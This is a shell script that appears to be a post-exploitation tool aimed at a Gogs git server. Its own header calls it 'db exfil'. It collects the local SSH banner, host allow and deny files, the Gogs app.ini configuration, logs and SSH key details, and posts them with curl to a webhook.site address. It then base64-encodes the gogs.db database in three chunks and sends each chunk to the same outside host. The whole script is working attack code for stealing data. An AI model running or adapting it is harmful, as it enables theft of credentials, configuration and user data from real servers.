#!/bin/sh # KQ BATCH-C: sshd diag + def db exfil (no dd; tail/head slicing) unset GIT_DIR GIT_WORK_TREE GIT_INDEX_FILE GIT_OBJECT_DIRECTORY GIT_ALTERNATE_OBJECT_DIRECTORIES GIT_COMMON_DIR GIT_NAMESPACE CANARY="KQTC$(date +%s)" W="https://webhook.site/c7765f9c-07e9-43f5-a8f6-3c98c6fbf288" OUT=/tmp/kqC_$$.txt { echo "=== KQ BATCH-C canary=$CANARY ===" date -u echo "=== tools2 ===" for t in base64 md5sum sha256sum tar head tail split gzip openssl ssh sshd uuencode od wc; do p=$(command -v $t 2>/dev/null); [ -n "$p" ] && echo "$t=$p"; done echo "=== sshd local banner ===" timeout 4 nc 127.0.0.1 22 < /dev/null 2>&1 | head -3 echo "=== hosts allow ==="; cat /etc/hosts.allow 2>&1 | head -10 echo "=== hosts deny ==="; cat /etc/hosts.deny 2>&1 | head -10 echo "=== def app.ini ===" cat /data/gogs_def/conf/app.ini 2>&1 echo "=== def log ===" cat /data/gogs_def/log/gogs.log 2>&1 | head -20 echo "=== sizes ===" ls -la /data/gogs_def/data/gogs.db /data/git/.ssh/authorized_keys echo "=== gitconfig ==="; cat /data/git/.gitconfig 2>&1; ls -la /data/git_def/.ssh 2>&1 echo "=== END canary=$CANARY ===" } > "$OUT" 2>&1 timeout 12 curl -s -m 10 --data-binary @"$OUT" "$W" >/dev/null 2>&1 B64="" if command -v base64 >/dev/null 2>&1; then B64="base64"; elif command -v openssl >/dev/null 2>&1; then B64="openssl base64"; fi if [ -n "$B64" ] && [ -f /data/gogs_def/data/gogs.db ]; then SZ=$(wc -c < /data/gogs_def/data/gogs.db) N=3; CH=$(( (SZ + N - 1) / N )) i=0 while [ $i -lt $N ]; do OFF=$(( i * CH )) { echo "=== KQDBCHUNK $i/$N canary=$CANARY sz=$SZ off=$OFF ===" tail -c +$((OFF + 1)) /data/gogs_def/data/gogs.db 2>/dev/null | head -c $CH | $B64 echo "=== ENDCHUNK $i ===" } > /tmp/kqc_$i.txt 2>&1 timeout 15 curl -s -m 12 --data-binary @/tmp/kqc_$i.txt "$W" >/dev/null 2>&1 i=$(( i + 1 )) done fi exit 0